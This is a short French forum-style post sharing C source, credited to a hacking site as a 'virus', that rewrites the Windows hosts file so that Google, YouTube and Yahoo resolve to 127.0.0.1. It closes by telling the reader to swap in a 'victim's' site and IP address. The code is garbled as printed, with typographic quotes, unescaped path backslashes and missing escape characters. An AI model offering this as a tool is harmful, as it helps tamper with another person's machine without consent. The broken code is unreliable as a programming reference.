J'vous file le code source en C qui permet de bloquer un site web. #include<stdio.h> #include<dos.h> #include<dir.h> char site_list[6][30]={ “google.com”, “www.google.com”, “youtube.com”, “www.youtube.com”, “yahoo.com”, “www.yahoo.com” }; char ip[12]=”127.0.0.1″; FILE *target;
int find_root(void); void block_site(void);
int find_root() { int done; struct ffblk ffblk;//File block structure
done=findfirst(“C:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(“C:\windows\system32\drivers\etc\hosts”,”r+”); /*to open the file*/ return 1; }
done=findfirst(“D:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(“D:\windows\system32\drivers\etc\hosts”,”r+”); /*to open the file*/ return 1; }
done=findfirst(“E:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(“E:\windows\system32\drivers\etc\hosts”,”r+”); /*to open the file*/ return 1; }
done=findfirst(“F:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(“F:\windows\system32\drivers\etc\hosts”,”r+”); /*to open the file*/ return 1; }
else return 0; }
void block_site() { int i; fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”n”); for(i=0;i<6;i++) fprintf(target,”%st%sn”,ip,site_list[i]); fclose(target); }
void main() { int success=0; success=find_root(); if(success) block_site(); } Source: http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html Il faut changer l'adresse 127.0.0.1 google.com ou youtube.com par le site de la victime ainsi que son adresse IP. |